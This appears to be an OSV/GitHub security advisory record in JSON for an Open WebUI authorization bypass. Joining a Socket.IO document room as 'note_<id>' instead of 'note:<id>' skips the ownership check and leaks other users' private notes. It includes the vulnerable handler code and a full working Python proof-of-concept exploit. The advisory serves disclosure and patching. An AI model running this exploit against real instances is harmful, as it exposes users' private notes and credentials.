Files
vuln-osv/data/PyPI/GHSA-8788-j68r-3cgh.json

1 line
19 KiB
JSON

{"schema_version":"1.9.0","id":"GHSA-8788-j68r-3cgh","published":"2026-06-17T18:05:21Z","modified":"2026-07-20T21:15:27.282408959Z","aliases":["CVE-2026-54022","PYSEC-2026-2712"],"summary":"Open WebUI: Any authenticated user can read other users' private notes via Socket.IO","details":"### Summary\n\nThe `ydoc:document:join` Socket.IO handler checks note ownership only when the `document_id` starts with `note:` (colon). However, the `YdocManager` storage layer normalizes all document IDs by replacing colons with underscores (`document_id.replace(\":\", \"_\")`). An attacker can join a document room using `note_<id>` (underscore) instead of `note:<id>` (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.\n\n### Details\n\nThe `ydoc:document:join` handler in `socket/main.py` (line 511) only performs authorization for document IDs matching the `note:` prefix:\n\n```python\n@sio.on(\"ydoc:document:join\")\nasync def ydoc_document_join(sid, data):\n document_id = data[\"document_id\"]\n\n if document_id.startswith(\"note:\"):\n note_id = document_id.split(\":\")[1]\n note = Notes.get_note_by_id(note_id)\n # ... ownership and AccessGrants check ...\n # Returns early if user doesn't have access\n\n # If document_id does NOT start with \"note:\", execution continues\n # with no authorization check at all\n\n await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)\n await sio.enter_room(sid, f\"doc_{document_id}\")\n\n ydoc = Y.Doc()\n updates = await YDOC_MANAGER.get_updates(document_id)\n for update in updates:\n ydoc.apply_update(bytes(update))\n\n state_update = ydoc.get_update()\n await sio.emit(\"ydoc:document:state\", {\n \"document_id\": document_id,\n \"state\": list(state_update),\n }, room=sid)\n```\n\nThe `YdocManager` class in `socket/utils.py` normalizes document IDs in every method by replacing colons with underscores:\n\n```python\nasync def get_updates(self, document_id: str) -> List[bytes]:\n document_id = document_id.replace(\":\", \"_\") # line 176\n # ... returns updates keyed by normalized ID\n\nasync def append_to_updates(self, document_id: str, update: bytes):\n document_id = document_id.replace(\":\", \"_\") # line 134\n # ... stores update keyed by normalized ID\n```\n\nThis means `note:abc123` and `note_abc123` resolve to the same storage key (`note_abc123`). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the `startswith(\"note:\")` authorization check but retrieves the same data from `YdocManager`.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nuv run --no-project --with requests --with \"python-socketio[asyncio_client]\" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS\n\nFinding #15 — Any authenticated user can read other users' private notes via Socket.IO\n\nSUMMARY:\n The ydoc:document:join Socket.IO handler only checks authorization for\n document IDs starting with \"note:\" (colon). However, YdocManager normalizes\n document IDs by replacing colons with underscores internally. An attacker\n can join a room using \"note_<id>\" (underscore) to bypass the auth check,\n while still accessing the same underlying Yjs document as \"note:<id>\".\n Then ydoc:document:state returns the full document content.\n\nVULNERABLE CODE:\n backend/open_webui/socket/main.py, ydoc:document:join:\n if document_id.startswith(\"note:\"):\n # permission check only for colon-prefix\n # \"note_<id>\" skips this check entirely\n\n backend/open_webui/socket/ydoc.py, YdocManager:\n key = document_id.replace(\":\", \"_\") # normalizes to same storage key\n\nIMPACT:\n Any authenticated user can read the full content of any other user's notes\n by exploiting the namespace collision between \"note:\" and \"note_\" prefixes.\n\nREPRODUCTION:\n 1. Victim creates a private note with sensitive content.\n 2. Attacker connects via Socket.IO and authenticates.\n 3. Attacker joins room with document_id \"note_<victim_note_id>\" (underscore).\n 4. Attacker requests ydoc:document:state to get the full note content.\n\nREQUIREMENTS:\n - Running Open WebUI instance\n - A victim note with content\n - Attacker user (any authenticated user)\n\"\"\"\n\nimport argparse\nimport asyncio\nimport sys\nimport requests\nimport socketio\n\n\nasync def victim_initialize_note(base, victim_token, note_id):\n \"\"\"Simulate victim opening the note in the UI to initialize the Yjs document.\"\"\"\n sio = socketio.AsyncClient()\n\n await sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n headers={\"Authorization\": f\"Bearer {victim_token}\"},\n transports=[\"websocket\"],\n )\n\n # Join using the proper note:id format (passes auth check since victim owns it)\n doc_id = f\"note:{note_id}\"\n print(f\" Joining as victim with document_id: {doc_id}\")\n\n await sio.emit(\"ydoc:document:join\", {\n \"document_id\": doc_id,\n \"user_id\": \"victim\",\n \"user_name\": \"Victim\",\n })\n await asyncio.sleep(1)\n\n # Send a Yjs update with the note content\n # Create a simple Yjs document with text content\n try:\n import pycrdt as Y\n ydoc = Y.Doc()\n ytext = ydoc.get(\"default\", type=Y.Text)\n with ydoc.transaction():\n ytext += \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\"\n update = ydoc.get_update()\n\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update with note content ({len(update)} bytes)\")\n except ImportError:\n # If pycrdt not available, try y-py\n try:\n import y_py as Y\n ydoc = Y.YDoc()\n ytext = ydoc.get_text(\"default\")\n with ydoc.begin_transaction() as txn:\n ytext.extend(txn, \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\")\n update = txn.get_update()\n\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update with note content ({len(update)} bytes)\")\n except ImportError:\n print(\" WARNING: Neither pycrdt nor y-py available, sending raw text marker\")\n # Send a minimal marker that we can detect\n raw_update = list(b\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00SECRET_NOTE_CONTENT_MARKER\")\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": raw_update,\n })\n\n await asyncio.sleep(1)\n await sio.disconnect()\n print(f\" Victim disconnected\")\n\n\nasync def exploit(base, attacker_token, victim_note_id):\n sio = socketio.AsyncClient()\n result = {\"state\": None, \"error\": None, \"joined\": False}\n\n @sio.on(\"ydoc:document:state\")\n async def on_state(data):\n result[\"state\"] = data\n print(f\" [!] Received ydoc:document:state event!\")\n print(f\" document_id: {data.get('document_id', '?')}\")\n state = data.get(\"state\", [])\n print(f\" State size: {len(state)} bytes\")\n\n @sio.on(\"error\")\n async def on_error(data):\n result[\"error\"] = data\n print(f\" [!] Error event: {data}\")\n\n @sio.on(\"*\")\n async def catch_all(event, data):\n if event not in (\"ydoc:document:state\", \"error\"):\n print(f\" [debug] Event: {event} Data: {str(data)[:200]}\")\n\n # Connect with auth token\n print(f\"[*] Connecting as attacker to Socket.IO...\")\n await sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n auth={\"token\": attacker_token},\n transports=[\"websocket\"],\n )\n\n # Join with \"note_\" prefix (underscore — bypasses auth)\n bypass_doc_id = f\"note_{victim_note_id}\"\n print(f\"\\n[*] Step 3: Joining room with bypassed document_id: {bypass_doc_id}\")\n print(f\" (using underscore instead of colon to skip auth check)\")\n\n await sio.emit(\"ydoc:document:join\", {\n \"document_id\": bypass_doc_id,\n \"user_id\": \"attacker\",\n \"user_name\": \"Attacker\",\n })\n\n result[\"joined\"] = True\n\n # Wait for state response (from join handler's emit)\n for _ in range(20):\n await asyncio.sleep(0.5)\n if result[\"state\"]:\n break\n\n await sio.disconnect()\n return result\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Finding #15: Yjs note disclosure via namespace collision\")\n parser.add_argument(\"--base-url\", required=True)\n parser.add_argument(\"--attacker-email\", required=True)\n parser.add_argument(\"--attacker-password\", required=True)\n parser.add_argument(\"--victim-email\", required=True)\n parser.add_argument(\"--victim-password\", required=True)\n args = parser.parse_args()\n\n base = args.base_url.rstrip(\"/\")\n\n # ── Step 1: Login as victim and find their note ──\n print(\"[*] Authenticating as victim...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.victim_email, \"password\": args.victim_password})\n if not r.ok:\n print(f\"[-] Victim login failed: {r.status_code}\")\n sys.exit(1)\n victim_token = r.json()[\"token\"]\n victim_id = r.json()[\"id\"]\n print(f\"[+] Logged in as victim (id={victim_id})\")\n\n r = requests.get(f\"{base}/api/v1/notes/\", headers={\"Authorization\": f\"Bearer {victim_token}\"})\n if not r.ok:\n print(f\"[-] Failed to list victim notes: {r.status_code}\")\n sys.exit(1)\n notes = r.json()\n if isinstance(notes, dict):\n notes = notes.get(\"items\", notes.get(\"data\", []))\n if not notes:\n print(\"[-] No victim notes found\")\n sys.exit(1)\n victim_note = notes[0]\n victim_note_id = victim_note[\"id\"]\n print(f\"[+] Victim's note: {victim_note.get('title', '?')} (id={victim_note_id})\")\n\n # ── Step 2: Login as attacker ──\n print(f\"\\n[*] Authenticating as attacker...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.attacker_email, \"password\": args.attacker_password})\n if not r.ok:\n print(f\"[-] Attacker login failed: {r.status_code}\")\n sys.exit(1)\n attacker_token = r.json()[\"token\"]\n attacker_id = r.json()[\"id\"]\n print(f\"[+] Logged in as attacker (id={attacker_id})\")\n\n # ── Step 3: Confirm attacker CANNOT read victim's note via API ──\n print(f\"\\n[*] Step 1: Confirming attacker cannot read victim's note via API...\")\n r = requests.get(f\"{base}/api/v1/notes/{victim_note_id}\",\n headers={\"Authorization\": f\"Bearer {attacker_token}\"})\n if r.status_code in (401, 403, 404):\n print(f\"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})\")\n else:\n print(f\"[!] Unexpected: attacker can read note (status {r.status_code})\")\n\n # ── Step 4 & 5: Victim opens note, attacker reads it concurrently ──\n async def combined_exploit():\n # Victim opens note and stays connected\n print(f\"\\n[*] Step 2: Victim opens note (stays connected)...\")\n victim_sio = socketio.AsyncClient()\n await victim_sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n auth={\"token\": victim_token},\n transports=[\"websocket\"],\n )\n doc_id = f\"note:{victim_note_id}\"\n await victim_sio.emit(\"ydoc:document:join\", {\n \"document_id\": doc_id,\n \"user_id\": \"victim\",\n \"user_name\": \"Victim\",\n })\n await asyncio.sleep(1)\n\n # Send Yjs update with note content\n try:\n import pycrdt as Y\n ydoc = Y.Doc()\n ytext = ydoc.get(\"default\", type=Y.Text)\n with ydoc.transaction():\n ytext += \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\"\n update = ydoc.get_update()\n await victim_sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update ({len(update)} bytes)\")\n except Exception as e:\n print(f\" WARNING: Could not create Yjs update: {e}\")\n\n await asyncio.sleep(1)\n\n # Now attacker joins while victim is still connected\n result = await exploit(base, attacker_token, victim_note_id)\n\n # Clean up victim connection\n await victim_sio.disconnect()\n return result\n\n result = asyncio.run(combined_exploit())\n\n if not result[\"joined\"]:\n print(f\"\\n[-] Failed to join document room\")\n sys.exit(1)\n\n if result[\"state\"]:\n state_data = result[\"state\"]\n state_bytes = bytes(state_data.get(\"state\", []))\n\n # Try to extract readable text from the Yjs state\n # Yjs binary format contains the text as embedded strings\n text_content = \"\"\n try:\n # Search for readable ASCII strings in the binary data\n current_str = \"\"\n for b in state_bytes:\n if 32 <= b < 127:\n current_str += chr(b)\n else:\n if len(current_str) > 5:\n text_content += current_str + \" \"\n current_str = \"\"\n if len(current_str) > 5:\n text_content += current_str\n except Exception:\n pass\n\n print(f\"\\n[+] Extracted text from Yjs state:\")\n print(f\" {text_content[:500]}\")\n\n # Check for sensitive markers\n sensitive_markers = [\"p@ssw0rd\", \"SuperSecret\", \"Private Notes\", \"production DB\", \"AWS root\"]\n found = [m for m in sensitive_markers if m.lower() in text_content.lower()]\n\n if found:\n print(f\"\\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!\")\n print(f\" Sensitive markers found: {found}\")\n print(f\" The attacker joined room 'doc_note_{victim_note_id}' (underscore)\")\n print(f\" which bypasses the auth check (only checks 'note:' colon prefix)\")\n print(f\" but accesses the same Yjs document due to normalization.\")\n sys.exit(0)\n elif text_content.strip():\n print(f\"\\n[+] SUCCESS: Note content retrieved (markers may differ)\")\n print(f\" Non-empty Yjs state was returned for victim's note.\")\n sys.exit(0)\n else:\n print(f\"\\n[*] Yjs state was returned but could not extract readable text.\")\n print(f\" Raw state size: {len(state_bytes)} bytes\")\n if len(state_bytes) > 10:\n print(f\" First 50 bytes: {list(state_bytes[:50])}\")\n print(f\"[+] SUCCESS: Non-trivial document state returned\")\n sys.exit(0)\n sys.exit(1)\n else:\n print(f\"\\n[-] No document state received\")\n print(f\" The Yjs document may not exist in storage yet.\")\n print(f\" Notes must be opened in the UI to create a Yjs document.\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\n\nAny authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.","affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.11"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9"],"database_specific":{"last_known_affected_version_range":"<= 0.8.10","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-8788-j68r-3cgh/GHSA-8788-j68r-3cgh.json"}}],"references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-8788-j68r-3cgh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54022"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8788-j68r-3cgh"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2712.yaml"},{"type":"WEB","url":"https://pypi.org/project/open-webui"}],"database_specific":{"cwe_ids":["CWE-706","CWE-863"],"github_reviewed":true,"github_reviewed_at":"2026-06-17T18:05:21Z","nvd_published_at":"2026-06-23T18:18:07Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}